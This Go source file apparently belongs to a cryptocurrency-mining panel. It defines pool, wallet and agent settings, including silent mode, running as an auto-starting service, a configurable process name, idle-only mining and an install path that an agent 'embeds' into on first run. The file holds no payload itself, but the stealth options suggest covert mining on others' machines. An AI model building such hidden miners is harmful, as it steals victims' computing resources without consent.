Builder and Settings expose install base/subfolder with live preview. Agent embeds on first exe run to the configured path, pauses for idle CPU and scheduled windows, and reports real system CPU usage.
245 lines
7.1 KiB
Go
245 lines
7.1 KiB
Go
package main
|
|
|
|
import (
|
|
"encoding/json"
|
|
"flag"
|
|
"fmt"
|
|
"os"
|
|
"path/filepath"
|
|
)
|
|
|
|
type Config struct {
|
|
Port int `json:"port"`
|
|
DataDir string `json:"data_dir"`
|
|
|
|
Pool PoolConfig `json:"pool"`
|
|
Wallet WalletConfig `json:"wallet"`
|
|
|
|
DefaultAgent AgentDefaults `json:"default_agent_config"`
|
|
Background BackgroundConfig `json:"background"`
|
|
Alerts AlertsConfig `json:"alerts"`
|
|
}
|
|
|
|
type PoolConfig struct {
|
|
Host string `json:"host"`
|
|
Port int `json:"port"`
|
|
UseTLS bool `json:"use_tls"`
|
|
Password string `json:"password"`
|
|
}
|
|
|
|
type WalletConfig struct {
|
|
Address string `json:"address"`
|
|
PaymentID string `json:"payment_id"`
|
|
}
|
|
|
|
type AgentDefaults struct {
|
|
Threads int `json:"threads"`
|
|
ThreadMode string `json:"thread_mode"`
|
|
ThreadPercent int `json:"thread_percent"`
|
|
CPUPriority string `json:"cpu_priority"`
|
|
MaxCPUUsagePct int `json:"max_cpu_usage_pct"`
|
|
MaxMemoryPct int `json:"max_memory_percent"`
|
|
MinFreeRAMMB int `json:"min_free_ram_mb"`
|
|
MiningMode string `json:"mining_mode"`
|
|
DisplayMode string `json:"display_mode"`
|
|
ProcessName string `json:"process_name"`
|
|
IdleThresholdPct int `json:"idle_threshold_pct"`
|
|
IdleDurationMinutes int `json:"idle_duration_minutes"`
|
|
ScheduleStart string `json:"schedule_start"`
|
|
ScheduleEnd string `json:"schedule_end"`
|
|
InstallBase string `json:"install_base"`
|
|
InstallCustomBase string `json:"install_custom_base"`
|
|
InstallRelativePath string `json:"install_relative_path"`
|
|
}
|
|
|
|
type BackgroundConfig struct {
|
|
SilentMode bool `json:"silent_mode"`
|
|
RunAs string `json:"run_as"`
|
|
AutoStart bool `json:"auto_start"`
|
|
MinimizeToTray bool `json:"minimize_to_tray"`
|
|
}
|
|
|
|
type AlertsConfig struct {
|
|
OfflineThresholdMinutes int `json:"offline_threshold_minutes"`
|
|
HashrateDropThresholdPct int `json:"hashrate_drop_threshold_pct"`
|
|
RejectionRateThresholdPct int `json:"rejection_rate_threshold_pct"`
|
|
}
|
|
|
|
func DefaultConfig() *Config {
|
|
return &Config{
|
|
Port: 8989,
|
|
DataDir: "data",
|
|
Pool: PoolConfig{
|
|
Host: "pool.supportxmr.com",
|
|
Port: 3333,
|
|
UseTLS: true,
|
|
Password: "x",
|
|
},
|
|
Wallet: WalletConfig{
|
|
Address: "",
|
|
PaymentID: "",
|
|
},
|
|
DefaultAgent: AgentDefaults{
|
|
Threads: 4,
|
|
ThreadMode: "percent",
|
|
ThreadPercent: 75,
|
|
CPUPriority: "below_normal",
|
|
MaxCPUUsagePct: 80,
|
|
MaxMemoryPct: 70,
|
|
MinFreeRAMMB: 1024,
|
|
MiningMode: "always",
|
|
DisplayMode: "background",
|
|
ProcessName: "",
|
|
IdleThresholdPct: 20,
|
|
IdleDurationMinutes: 5,
|
|
ScheduleStart: "21:00",
|
|
ScheduleEnd: "06:00",
|
|
InstallBase: "localappdata",
|
|
InstallRelativePath: "CryptoMiner/{worker}-{build_short}",
|
|
},
|
|
Background: BackgroundConfig{
|
|
SilentMode: true,
|
|
RunAs: "service",
|
|
AutoStart: true,
|
|
MinimizeToTray: true,
|
|
},
|
|
Alerts: AlertsConfig{
|
|
OfflineThresholdMinutes: 5,
|
|
HashrateDropThresholdPct: 50,
|
|
RejectionRateThresholdPct: 5,
|
|
},
|
|
}
|
|
}
|
|
|
|
func LoadConfig() *Config {
|
|
cfg := DefaultConfig()
|
|
|
|
// Parse CLI flags
|
|
port := flag.Int("port", 8989, "Server port")
|
|
dataDir := flag.String("data", "data", "Data directory")
|
|
flag.Parse()
|
|
|
|
cfg.Port = *port
|
|
cfg.DataDir = *dataDir
|
|
|
|
// Try to load from config file
|
|
configPath := filepath.Join(cfg.DataDir, "config.json")
|
|
if data, err := os.ReadFile(configPath); err == nil {
|
|
var fileCfg Config
|
|
if err := json.Unmarshal(data, &fileCfg); err == nil {
|
|
// Merge file config over defaults (only non-zero values)
|
|
mergeConfig(cfg, &fileCfg)
|
|
}
|
|
}
|
|
|
|
return cfg
|
|
}
|
|
|
|
func mergeConfig(dst, src *Config) {
|
|
if src.Port != 0 {
|
|
dst.Port = src.Port
|
|
}
|
|
if src.DataDir != "" {
|
|
dst.DataDir = src.DataDir
|
|
}
|
|
if src.Pool.Host != "" {
|
|
dst.Pool.Host = src.Pool.Host
|
|
}
|
|
if src.Pool.Port != 0 {
|
|
dst.Pool.Port = src.Pool.Port
|
|
}
|
|
dst.Pool.UseTLS = src.Pool.UseTLS
|
|
if src.Pool.Password != "" {
|
|
dst.Pool.Password = src.Pool.Password
|
|
}
|
|
if src.Wallet.Address != "" {
|
|
dst.Wallet.Address = src.Wallet.Address
|
|
}
|
|
if src.Wallet.PaymentID != "" {
|
|
dst.Wallet.PaymentID = src.Wallet.PaymentID
|
|
}
|
|
if src.DefaultAgent.Threads != 0 {
|
|
dst.DefaultAgent.Threads = src.DefaultAgent.Threads
|
|
}
|
|
if src.DefaultAgent.ThreadMode != "" {
|
|
dst.DefaultAgent.ThreadMode = src.DefaultAgent.ThreadMode
|
|
}
|
|
if src.DefaultAgent.ThreadPercent != 0 {
|
|
dst.DefaultAgent.ThreadPercent = src.DefaultAgent.ThreadPercent
|
|
}
|
|
if src.DefaultAgent.CPUPriority != "" {
|
|
dst.DefaultAgent.CPUPriority = src.DefaultAgent.CPUPriority
|
|
}
|
|
if src.DefaultAgent.MaxCPUUsagePct != 0 {
|
|
dst.DefaultAgent.MaxCPUUsagePct = src.DefaultAgent.MaxCPUUsagePct
|
|
}
|
|
if src.DefaultAgent.MaxMemoryPct != 0 {
|
|
dst.DefaultAgent.MaxMemoryPct = src.DefaultAgent.MaxMemoryPct
|
|
}
|
|
if src.DefaultAgent.MinFreeRAMMB != 0 {
|
|
dst.DefaultAgent.MinFreeRAMMB = src.DefaultAgent.MinFreeRAMMB
|
|
}
|
|
if src.DefaultAgent.MiningMode != "" {
|
|
dst.DefaultAgent.MiningMode = src.DefaultAgent.MiningMode
|
|
}
|
|
if src.DefaultAgent.DisplayMode != "" {
|
|
dst.DefaultAgent.DisplayMode = src.DefaultAgent.DisplayMode
|
|
}
|
|
if src.DefaultAgent.ProcessName != "" {
|
|
dst.DefaultAgent.ProcessName = src.DefaultAgent.ProcessName
|
|
}
|
|
if src.DefaultAgent.IdleThresholdPct != 0 {
|
|
dst.DefaultAgent.IdleThresholdPct = src.DefaultAgent.IdleThresholdPct
|
|
}
|
|
if src.DefaultAgent.IdleDurationMinutes != 0 {
|
|
dst.DefaultAgent.IdleDurationMinutes = src.DefaultAgent.IdleDurationMinutes
|
|
}
|
|
if src.DefaultAgent.ScheduleStart != "" {
|
|
dst.DefaultAgent.ScheduleStart = src.DefaultAgent.ScheduleStart
|
|
}
|
|
if src.DefaultAgent.ScheduleEnd != "" {
|
|
dst.DefaultAgent.ScheduleEnd = src.DefaultAgent.ScheduleEnd
|
|
}
|
|
if src.DefaultAgent.InstallBase != "" {
|
|
dst.DefaultAgent.InstallBase = src.DefaultAgent.InstallBase
|
|
}
|
|
if src.DefaultAgent.InstallCustomBase != "" {
|
|
dst.DefaultAgent.InstallCustomBase = src.DefaultAgent.InstallCustomBase
|
|
}
|
|
if src.DefaultAgent.InstallRelativePath != "" {
|
|
dst.DefaultAgent.InstallRelativePath = src.DefaultAgent.InstallRelativePath
|
|
}
|
|
dst.Background.SilentMode = src.Background.SilentMode
|
|
if src.Background.RunAs != "" {
|
|
dst.Background.RunAs = src.Background.RunAs
|
|
}
|
|
dst.Background.AutoStart = src.Background.AutoStart
|
|
dst.Background.MinimizeToTray = src.Background.MinimizeToTray
|
|
if src.Alerts.OfflineThresholdMinutes != 0 {
|
|
dst.Alerts.OfflineThresholdMinutes = src.Alerts.OfflineThresholdMinutes
|
|
}
|
|
if src.Alerts.HashrateDropThresholdPct != 0 {
|
|
dst.Alerts.HashrateDropThresholdPct = src.Alerts.HashrateDropThresholdPct
|
|
}
|
|
if src.Alerts.RejectionRateThresholdPct != 0 {
|
|
dst.Alerts.RejectionRateThresholdPct = src.Alerts.RejectionRateThresholdPct
|
|
}
|
|
}
|
|
|
|
func (c *Config) Save() error {
|
|
configPath := filepath.Join(c.DataDir, "config.json")
|
|
data, err := json.MarshalIndent(c, "", " ")
|
|
if err != nil {
|
|
return fmt.Errorf("failed to marshal config: %w", err)
|
|
}
|
|
return os.WriteFile(configPath, data, 0644)
|
|
}
|
|
|
|
func (c *Config) PoolURL() string {
|
|
proto := "stratum+tcp"
|
|
if c.Pool.UseTLS {
|
|
proto = "stratum+ssl"
|
|
}
|
|
return fmt.Sprintf("%s://%s:%d", proto, c.Pool.Host, c.Pool.Port)
|
|
}
|